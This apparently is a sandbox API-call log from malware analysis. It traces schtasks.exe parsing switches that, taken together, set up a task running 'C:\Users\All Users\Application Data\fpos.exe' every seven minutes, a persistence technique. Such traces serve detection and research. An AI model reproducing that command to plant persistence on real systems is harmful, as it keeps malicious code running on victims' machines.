0 [0086.794] lstrlenW (lpString="sc") returned 2 [0086.794] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.794] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|change|") returned 8 [0086.794] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|sc|") returned 4 [0086.794] lstrlenW (lpString="|change|") returned 8 [0086.794] lstrlenW (lpString="|sc|") returned 4 [0086.795] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0086.795] SetLastError (dwErrCode=0x490) [0086.795] lstrlenW (lpString="run") returned 3 [0086.795] lstrlenW (lpString="run") returned 3 [0086.795] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.795] lstrlenW (lpString="sc") returned 2 [0086.795] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.795] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|run|") returned 5 [0086.795] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|sc|") returned 4 [0086.795] lstrlenW (lpString="|run|") returned 5 [0086.795] lstrlenW (lpString="|sc|") returned 4 [0086.795] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0086.795] SetLastError (dwErrCode=0x490) [0086.795] lstrlenW (lpString="end") returned 3 [0086.795] lstrlenW (lpString="end") returned 3 [0086.795] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.795] lstrlenW (lpString="sc") returned 2 [0086.795] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.795] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|end|") returned 5 [0086.795] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|sc|") returned 4 [0086.795] lstrlenW (lpString="|end|") returned 5 [0086.795] lstrlenW (lpString="|sc|") returned 4 [0086.795] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0086.795] SetLastError (dwErrCode=0x490) [0086.795] lstrlenW (lpString="showsid") returned 7 [0086.796] lstrlenW (lpString="showsid") returned 7 [0086.796] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.796] lstrlenW (lpString="sc") returned 2 [0086.796] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.796] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|showsid|") returned 9 [0086.796] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|sc|") returned 4 [0086.796] lstrlenW (lpString="|showsid|") returned 9 [0086.796] lstrlenW (lpString="|sc|") returned 4 [0086.796] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0086.796] SetLastError (dwErrCode=0x490) [0086.796] SetLastError (dwErrCode=0x490) [0086.796] SetLastError (dwErrCode=0x0) [0086.796] lstrlenW (lpString="/sc") returned 3 [0086.796] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0086.796] SetLastError (dwErrCode=0x490) [0086.796] SetLastError (dwErrCode=0x0) [0086.796] lstrlenW (lpString="/sc") returned 3 [0086.796] GetProcessHeap () returned 0xe0000 [0086.796] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x8) returned 0xfc3d0 [0086.796] GetProcessHeap () returned 0xe0000 [0086.796] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcdb0 [0086.796] SetLastError (dwErrCode=0x0) [0086.796] SetLastError (dwErrCode=0x0) [0086.796] lstrlenW (lpString="MINUTE") returned 6 [0086.796] lstrlenW (lpString="-/") returned 2 [0086.796] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0086.796] SetLastError (dwErrCode=0x490) [0086.796] SetLastError (dwErrCode=0x490) [0086.796] SetLastError (dwErrCode=0x0) [0086.797] lstrlenW (lpString="MINUTE") returned 6 [0086.797] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0086.797] SetLastError (dwErrCode=0x490) [0086.797] SetLastError (dwErrCode=0x0) [0086.797] lstrlenW (lpString="MINUTE") returned 6 [0086.797] GetProcessHeap () returned 0xe0000 [0086.797] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xe) returned 0xfc3f0 [0086.797] GetProcessHeap () returned 0xe0000 [0086.797] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcde0 [0086.797] SetLastError (dwErrCode=0x0) [0086.797] SetLastError (dwErrCode=0x0) [0086.797] lstrlenW (lpString="/mo") returned 3 [0086.797] lstrlenW (lpString="-/") returned 2 [0086.797] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.797] lstrlenW (lpString="?") returned 1 [0086.797] lstrlenW (lpString="?") returned 1 [0086.797] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.797] lstrlenW (lpString="mo") returned 2 [0086.797] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.797] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|?|") returned 3 [0086.797] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|mo|") returned 4 [0086.797] lstrlenW (lpString="|?|") returned 3 [0086.797] lstrlenW (lpString="|mo|") returned 4 [0086.797] SetLastError (dwErrCode=0x490) [0086.797] lstrlenW (lpString="create") returned 6 [0086.797] lstrlenW (lpString="create") returned 6 [0086.797] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.797] lstrlenW (lpString="mo") returned 2 [0086.798] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.798] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|create|") returned 8 [0086.798] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|mo|") returned 4 [0086.798] lstrlenW (lpString="|create|") returned 8 [0086.798] lstrlenW (lpString="|mo|") returned 4 [0086.798] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0086.798] SetLastError (dwErrCode=0x490) [0086.798] lstrlenW (lpString="delete") returned 6 [0086.798] lstrlenW (lpString="delete") returned 6 [0086.798] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.798] lstrlenW (lpString="mo") returned 2 [0086.798] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.798] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|delete|") returned 8 [0086.798] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|mo|") returned 4 [0086.798] lstrlenW (lpString="|delete|") returned 8 [0086.798] lstrlenW (lpString="|mo|") returned 4 [0086.798] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0086.798] SetLastError (dwErrCode=0x490) [0086.798] lstrlenW (lpString="query") returned 5 [0086.798] lstrlenW (lpString="query") returned 5 [0086.798] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.798] lstrlenW (lpString="mo") returned 2 [0086.798] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.799] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|query|") returned 7 [0086.799] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|mo|") returned 4 [0086.799] lstrlenW (lpString="|query|") returned 7 [0086.799] lstrlenW (lpString="|mo|") returned 4 [0086.799] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0086.799] SetLastError (dwErrCode=0x490) [0086.799] lstrlenW (lpString="change") returned 6 [0086.799] lstrlenW (lpString="change") returned 6 [0086.799] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.799] lstrlenW (lpString="mo") returned 2 [0086.799] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.799] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|change|") returned 8 [0086.799] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|mo|") returned 4 [0086.799] lstrlenW (lpString="|change|") returned 8 [0086.799] lstrlenW (lpString="|mo|") returned 4 [0086.799] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0086.799] SetLastError (dwErrCode=0x490) [0086.799] lstrlenW (lpString="run") returned 3 [0086.799] lstrlenW (lpString="run") returned 3 [0086.799] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.799] lstrlenW (lpString="mo") returned 2 [0086.799] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.799] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|run|") returned 5 [0086.799] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|mo|") returned 4 [0086.799] lstrlenW (lpString="|run|") returned 5 [0086.799] lstrlenW (lpString="|mo|") returned 4 [0086.799] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0086.799] SetLastError (dwErrCode=0x490) [0086.799] lstrlenW (lpString="end") returned 3 [0086.799] lstrlenW (lpString="end") returned 3 [0086.799] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.800] lstrlenW (lpString="mo") returned 2 [0086.800] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.800] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|end|") returned 5 [0086.800] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|mo|") returned 4 [0086.800] lstrlenW (lpString="|end|") returned 5 [0086.800] lstrlenW (lpString="|mo|") returned 4 [0086.800] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0086.800] SetLastError (dwErrCode=0x490) [0086.800] lstrlenW (lpString="showsid") returned 7 [0086.800] lstrlenW (lpString="showsid") returned 7 [0086.800] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.800] lstrlenW (lpString="mo") returned 2 [0086.800] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.800] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|showsid|") returned 9 [0086.800] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|mo|") returned 4 [0086.800] lstrlenW (lpString="|showsid|") returned 9 [0086.800] lstrlenW (lpString="|mo|") returned 4 [0086.800] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0086.800] SetLastError (dwErrCode=0x490) [0086.800] SetLastError (dwErrCode=0x490) [0086.800] SetLastError (dwErrCode=0x0) [0086.800] lstrlenW (lpString="/mo") returned 3 [0086.800] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0086.800] SetLastError (dwErrCode=0x490) [0086.800] SetLastError (dwErrCode=0x0) [0086.800] lstrlenW (lpString="/mo") returned 3 [0086.800] GetProcessHeap () returned 0xe0000 [0086.800] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x8) returned 0xfc410 [0086.800] GetProcessHeap () returned 0xe0000 [0086.800] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfce10 [0086.800] SetLastError (dwErrCode=0x0) [0086.800] SetLastError (dwErrCode=0x0) [0086.800] lstrlenW (lpString="7") returned 1 [0086.801] SetLastError (dwErrCode=0x490) [0086.801] SetLastError (dwErrCode=0x0) [0086.801] lstrlenW (lpString="7") returned 1 [0086.801] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0086.801] SetLastError (dwErrCode=0x490) [0086.801] SetLastError (dwErrCode=0x0) [0086.801] lstrlenW (lpString="7") returned 1 [0086.801] GetProcessHeap () returned 0xe0000 [0086.801] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x4) returned 0xfc430 [0086.801] GetProcessHeap () returned 0xe0000 [0086.801] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfce40 [0086.801] SetLastError (dwErrCode=0x0) [0086.801] SetLastError (dwErrCode=0x0) [0086.801] lstrlenW (lpString="/tr") returned 3 [0086.801] lstrlenW (lpString="-/") returned 2 [0086.801] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.801] lstrlenW (lpString="?") returned 1 [0086.801] lstrlenW (lpString="?") returned 1 [0086.801] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.801] lstrlenW (lpString="tr") returned 2 [0086.801] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.801] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|?|") returned 3 [0086.801] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tr|") returned 4 [0086.801] lstrlenW (lpString="|?|") returned 3 [0086.801] lstrlenW (lpString="|tr|") returned 4 [0086.801] SetLastError (dwErrCode=0x490) [0086.801] lstrlenW (lpString="create") returned 6 [0086.801] lstrlenW (lpString="create") returned 6 [0086.801] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.801] lstrlenW (lpString="tr") returned 2 [0086.801] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.801] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|create|") returned 8 [0086.802] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tr|") returned 4 [0086.802] lstrlenW (lpString="|create|") returned 8 [0086.802] lstrlenW (lpString="|tr|") returned 4 [0086.802] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0086.802] SetLastError (dwErrCode=0x490) [0086.802] lstrlenW (lpString="delete") returned 6 [0086.802] lstrlenW (lpString="delete") returned 6 [0086.802] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.802] lstrlenW (lpString="tr") returned 2 [0086.802] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.802] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|delete|") returned 8 [0086.802] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tr|") returned 4 [0086.802] lstrlenW (lpString="|delete|") returned 8 [0086.802] lstrlenW (lpString="|tr|") returned 4 [0086.802] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0086.802] SetLastError (dwErrCode=0x490) [0086.802] lstrlenW (lpString="query") returned 5 [0086.802] lstrlenW (lpString="query") returned 5 [0086.802] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.802] lstrlenW (lpString="tr") returned 2 [0086.802] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.802] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|query|") returned 7 [0086.802] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tr|") returned 4 [0086.802] lstrlenW (lpString="|query|") returned 7 [0086.802] lstrlenW (lpString="|tr|") returned 4 [0086.802] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0086.802] SetLastError (dwErrCode=0x490) [0086.802] lstrlenW (lpString="change") returned 6 [0086.803] lstrlenW (lpString="change") returned 6 [0086.803] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.803] lstrlenW (lpString="tr") returned 2 [0086.803] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.803] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|change|") returned 8 [0086.803] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tr|") returned 4 [0086.803] lstrlenW (lpString="|change|") returned 8 [0086.803] lstrlenW (lpString="|tr|") returned 4 [0086.803] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0086.803] SetLastError (dwErrCode=0x490) [0086.803] lstrlenW (lpString="run") returned 3 [0086.803] lstrlenW (lpString="run") returned 3 [0086.803] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.803] lstrlenW (lpString="tr") returned 2 [0086.803] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.803] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|run|") returned 5 [0086.803] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tr|") returned 4 [0086.803] lstrlenW (lpString="|run|") returned 5 [0086.803] lstrlenW (lpString="|tr|") returned 4 [0086.803] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0086.803] SetLastError (dwErrCode=0x490) [0086.803] lstrlenW (lpString="end") returned 3 [0086.803] lstrlenW (lpString="end") returned 3 [0086.803] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.803] lstrlenW (lpString="tr") returned 2 [0086.803] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.803] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|end|") returned 5 [0086.803] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tr|") returned 4 [0086.804] lstrlenW (lpString="|end|") returned 5 [0086.804] lstrlenW (lpString="|tr|") returned 4 [0086.804] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0086.804] SetLastError (dwErrCode=0x490) [0086.804] lstrlenW (lpString="showsid") returned 7 [0086.804] lstrlenW (lpString="showsid") returned 7 [0086.804] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.804] lstrlenW (lpString="tr") returned 2 [0086.804] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.804] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|showsid|") returned 9 [0086.804] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|tr|") returned 4 [0086.804] lstrlenW (lpString="|showsid|") returned 9 [0086.804] lstrlenW (lpString="|tr|") returned 4 [0086.804] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0086.804] SetLastError (dwErrCode=0x490) [0086.804] SetLastError (dwErrCode=0x490) [0086.804] SetLastError (dwErrCode=0x0) [0086.804] lstrlenW (lpString="/tr") returned 3 [0086.804] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0086.804] SetLastError (dwErrCode=0x490) [0086.804] SetLastError (dwErrCode=0x0) [0086.804] lstrlenW (lpString="/tr") returned 3 [0086.804] GetProcessHeap () returned 0xe0000 [0086.804] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x8) returned 0xfc450 [0086.804] GetProcessHeap () returned 0xe0000 [0086.804] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfce70 [0086.804] SetLastError (dwErrCode=0x0) [0086.804] SetLastError (dwErrCode=0x0) [0086.804] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.804] lstrlenW (lpString="-/") returned 2 [0086.804] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0086.805] SetLastError (dwErrCode=0x490) [0086.805] SetLastError (dwErrCode=0x490) [0086.805] SetLastError (dwErrCode=0x0) [0086.805] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.805] StrChrIW (lpStart="'C:\\Users\\All Users\\Application Data\\fpos.exe'", wMatch=0x3a) returned=":\\Users\\All Users\\Application Data\\fpos.exe'" [0086.805] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.805] GetProcessHeap () returned 0xe0000 [0086.805] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfc470 [0086.805] _memicmp (_Buf1=0xfc470, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.805] GetProcessHeap () returned 0xe0000 [0086.805] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xe) returned 0xfc490 [0086.805] GetProcessHeap () returned 0xe0000 [0086.805] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfd640 [0086.805] _memicmp (_Buf1=0xfd640, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.805] GetProcessHeap () returned 0xe0000 [0086.805] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x60) returned 0xfde10 [0086.805] SetLastError (dwErrCode=0x7a) [0086.805] SetLastError (dwErrCode=0x0) [0086.805] SetLastError (dwErrCode=0x0) [0086.805] lstrlenW (lpString="'C") returned 2 [0086.805] lstrlenW (lpString="-/") returned 2 [0086.805] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0086.805] SetLastError (dwErrCode=0x490) [0086.805] SetLastError (dwErrCode=0x490) [0086.805] SetLastError (dwErrCode=0x0) [0086.805] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.805] GetProcessHeap () returned 0xe0000 [0086.805] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x5e) returned 0xfde80 [0086.805] GetProcessHeap () returned 0xe0000 [0086.805] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcea0 [0086.805] SetLastError (dwErrCode=0x0) [0086.805] SetLastError (dwErrCode=0x0) [0086.805] lstrlenW (lpString="/rl") returned 3 [0086.806] lstrlenW (lpString="-/") returned 2 [0086.806] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.806] lstrlenW (lpString="?") returned 1 [0086.806] lstrlenW (lpString="?") returned 1 [0086.806] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.806] lstrlenW (lpString="rl") returned 2 [0086.806] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.806] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|?|") returned 3 [0086.806] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|rl|") returned 4 [0086.806] lstrlenW (lpString="|?|") returned 3 [0086.806] lstrlenW (lpString="|rl|") returned 4 [0086.806] SetLastError (dwErrCode=0x490) [0086.806] lstrlenW (lpString="create") returned 6 [0086.806] lstrlenW (lpString="create") returned 6 [0086.806] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.806] lstrlenW (lpString="rl") returned 2 [0086.813] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.814] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|create|") returned 8 [0086.814] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|rl|") returned 4 [0086.814] lstrlenW (lpString="|create|") returned 8 [0086.814] lstrlenW (lpString="|rl|") returned 4 [0086.814] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0086.814] SetLastError (dwErrCode=0x490) [0086.814] lstrlenW (lpString="delete") returned 6 [0086.814] lstrlenW (lpString="delete") returned 6 [0086.814] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.814] lstrlenW (lpString="rl") returned 2 [0086.814] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.814] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|delete|") returned 8 [0086.814] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|rl|") returned 4 [0086.814] lstrlenW (lpString="|delete|") returned 8 [0086.814] lstrlenW (lpString="|rl|") returned 4 [0086.814] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0086.814] SetLastError (dwErrCode=0x490) [0086.814] lstrlenW (lpString="query") returned 5 [0086.814] lstrlenW (lpString="query") returned 5 [0086.814] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.815] lstrlenW (lpString="rl") returned 2 [0086.815] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.815] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|query|") returned 7 [0086.815] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|rl|") returned 4 [0086.815] lstrlenW (lpString="|query|") returned 7 [0086.815] lstrlenW (lpString="|rl|") returned 4 [0086.815] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0086.815] SetLastError (dwErrCode=0x490) [0086.815] lstrlenW (lpString="change") returned 6 [0086.815] lstrlenW (lpString="change") returned 6 [0086.815] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.815] lstrlenW (lpString="rl") returned 2 [0086.815] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.815] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|change|") returned 8 [0086.815] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|rl|") returned 4 [0086.815] lstrlenW (lpString="|change|") returned 8 [0086.815] lstrlenW (lpString="|rl|") returned 4 [0086.815] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0086.815] SetLastError (dwErrCode=0x490) [0086.815] lstrlenW (lpString="run") returned 3 [0086.815] lstrlenW (lpString="run") returned 3 [0086.815] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.815] lstrlenW (lpString="rl") returned 2 [0086.815] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.815] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf2f8 | out: _Buffer="|run|") returned 5 